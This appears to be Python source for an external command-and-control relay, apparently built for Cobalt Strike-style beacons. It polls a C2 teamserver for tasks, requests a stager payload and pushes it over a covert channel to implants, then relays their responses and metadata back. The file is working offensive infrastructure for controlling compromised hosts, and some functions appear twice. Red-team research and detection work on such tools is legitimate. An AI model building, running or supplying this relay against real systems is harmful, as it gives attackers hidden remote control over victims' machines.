def checkForResponse(beaconId): """ Check the covert channel for a response from the client. Args: beaconId (str) - Identifier to determine which beacon we're getting a response from """ recvdResponse = commonUtils.retrieveData(beaconId) if config.debug: if len(recvdResponse) > 1: print( commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) else: print( commonUtils.color("Recieved empty response from client", status=False, yellow=True)) if len(recvdResponse) > 1: if config.verbose: print( commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) if config.debug: print( commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) return recvdResponse
def checkForResponse(): """ Check the covert channel for a response from the client """ recvdResponse = commonUtils.retrieveData() if config.debug: if len(recvdResponse) > 1: print( commonUtils.color("Recieved %d bytes from client", status=False, yellow=True)) % (len(recvdResponse)) else: print( commonUtils.color("Recieved empty response from client", status=False, yellow=True)) if len(recvdResponse) > 1: if config.verbose: print( commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(recvdResponse))) if config.debug: print( commonUtils.color("RESPONSE: ", status=False, yellow=True) + "%s") % (recvdResponse) return recvdResponse
def createConnection(beaconId): """ Function responsible for configuring the initial stager for an incoming connection. Will return the socket connection responsible for issuing tasks. Returns: socket connection to the Teamserver """ # Start with logic to setup the connection to the external_c2 server sock = commonUtils.createSocket() # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager # Poll covert channel for 'READY2INJECT' message from client # * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it # if args.verbose: # print commonUtils.color("Client ready to recieve stager") # ##################### # Prep the transport module prep_trans = transport.prepTransport() # Let's get the stager from the c2 server stager_status = configureStage.loadStager(sock, beaconId) if stager_status != 0: # Something went horribly wrong print commonUtils.color( "Something went terribly wrong while configuring the stager!", status=False, warning=True) sys.exit(1) return sock
def relayTask(task, beaconId): # Relays a new task from the c2 server to the client # 'task' will be encoded in the 'commonUtils.sendData()' function. if config.debug: print commonUtils.color("Relaying task to client", status=False, yellow=True) commonUtils.sendData(task, beaconId)
def relayResponse(sock, response): # Relays the response from the client to the c2 server # 'response', will have already been decoded from 'establishedSession.checkForResponse()' # -- Why is this it's own function? Because I have no idea what I'm doing if config.debug: print commonUtils.color("Relaying response to c2 server", status=False, yellow=True) commonUtils.sendFrameToC2(sock, response)
def taskLoop(sock, beaconId): while True: if config.verbose: print commonUtils.color( "Checking the c2 server for {} tasks...".format(beaconId)) newTask = establishedSession.checkForTasks(sock) # once we have a new task (even an empty one), lets relay that to our client if config.debug: print commonUtils.color( "Encoding and relaying task to {}".format(beaconId), status=False, yellow=True) establishedSession.relayTask(newTask, beaconId) # Attempt to retrieve a response from the client if config.verbose: print commonUtils.color( "Checking {} for a response...".format(beaconId)) b_responses = establishedSession.checkForResponse(beaconId) # b_response = establishedSession.checkForResponse(beaconId) for b_response in b_responses: # Let's relay this response to the c2 server establishedSession.relayResponse(sock, b_response) sleep( config.C2_BLOCK_TIME / 100 ) # python sleep is in seconds, C2_BLOCK_TIME in milliseconds
def checkForTasks(sock): """ Poll the c2 server for new tasks """ chunk = commonUtils.recvFrameFromC2(sock) if chunk < 0: if config.debug: print( commonUtils.color("Attempted to read %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) # break # This should probably just return None or something return None else: if config.debug: if len(chunk) > 1: print( commonUtils.color("Recieved %d bytes from c2 server", status=False, yellow=True)) % (len(chunk)) else: print( commonUtils.color("Recieved empty task from c2 server", status=False, yellow=True)) if len(chunk) > 1: if config.verbose: print( commonUtils.color("Recieved new task from C2 server!") + "(%s bytes)") % (str(len(chunk))) if config.debug: print( commonUtils.color("NEW TASK: ", status=False, yellow=True) + "%s") % (chunk) return chunk
def configureOptions(sock, arch, pipename, block): # This whole function should eventually be refactored into an elaborate forloop so that we can # support additional beacon options down the road # send the options if config.verbose: print commonUtils.color("Configuring stager options") beacon_arch = "arch=" + str(arch) if config.debug: print commonUtils.color(beacon_arch, status=False, yellow=True) commonUtils.sendFrameToC2(sock, beacon_arch) beacon_pipename = "pipename=" + str(pipename) if config.debug: print commonUtils.color(beacon_pipename, status=False, yellow=True) commonUtils.sendFrameToC2(sock, beacon_pipename) beacon_block = "block=" + str(block) if config.debug: print commonUtils.color(beacon_block, status=False, yellow=True) commonUtils.sendFrameToC2(sock, beacon_block)
def loadStager(sock, beaconId): # Send options to the external_c2 server configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME) if config.debug: print commonUtils.color("stager configured, sending 'go'", status=False, yellow=True) # Request stager stager_payload = requestStager(sock) if config.debug: print(commonUtils.color("STAGER: ", status=False, yellow=True) + "%s") % (stager_payload) # Prep stager payload if config.verbose: print commonUtils.color("Encoding stager payload") # Trick, this is actually done during sendData() # Send stager to the client if config.verbose: print commonUtils.color("Sending stager to client") commonUtils.sendData(stager_payload, beaconId) # Rrieve the metadata we need to relay back to the server if config.verbose: print commonUtils.color("Awaiting metadata response from client") # Only one response, so this should be the first element of the array metadata = commonUtils.retrieveData(beaconId)[0] # Send the metadata frame to the external_c2 server if config.verbose: print commonUtils.color("Sending metadata to c2 server") if config.debug: print( commonUtils.color("METADATA: ", status=False, yellow=True) + "%s") % (metadata) commonUtils.sendFrameToC2(sock, metadata) # Pretend we have error handling, return 0 if everything is Gucci return 0
def main(): # Argparse for certain options parser = argparse.ArgumentParser() parser.add_argument('-v', action='store_true', help='Enable verbose output', dest='verbose', default=False) parser.add_argument('-d', action='store_true', help='Enable debugging output', dest='debug', default=False) # Call arguments with args.$ARGNAME args = parser.parse_args() # Assign the arguments to config.$ARGNAME if not config.verbose: config.verbose = args.verbose if not config.debug: config.debug = args.debug # Enable verbose output if debug is enabled if config.debug: config.verbose = True # Import our defined encoder, transport and manager modules if config.verbose: print(commonUtils.color("Importing encoder module: ") + "%s") % (config.ENCODER_MODULE) importModule(config.ENCODER_MODULE, "encoder") commonUtils.importModule(config.ENCODER_MODULE, "encoder") if config.verbose: print(commonUtils.color("Importing transport module: ") + "%s") % (config.TRANSPORT_MODULE) importModule(config.TRANSPORT_MODULE, "transport") commonUtils.importModule(config.TRANSPORT_MODULE, "transport") ##################################### # Need to set up the new incoming # # connection logic here for sorting # ##################################### beacons = {} try: while True: # Some logic in determining if new agents are available newBeacons = transport.fetchNewBeacons() # newBeacons should be a list of uuid4() strings if newBeacons: for beaconId in newBeacons: # Create and open the connection here sock = createConnection(beaconId) # Tell the socket to begin its task looping t = Thread(target=taskLoop, args=(sock, beaconId)) t.daemon = True print "[+] Established new session {}. Staring task loop.".format( beaconId) t.start() # Save conneciton information for a beacon beacons[beaconId] = sock sleep(config.IDLE_TIME) except KeyboardInterrupt: if config.debug: print commonUtils.color( "\nClosing the socket connections to the c2 server") for beaconId, socketConnection in beacons.items(): commonUtils.killSocket(socketConnection) print commonUtils.color("\nKilling Beacon {}...".format(beaconId), warning=True) sys.exit(0)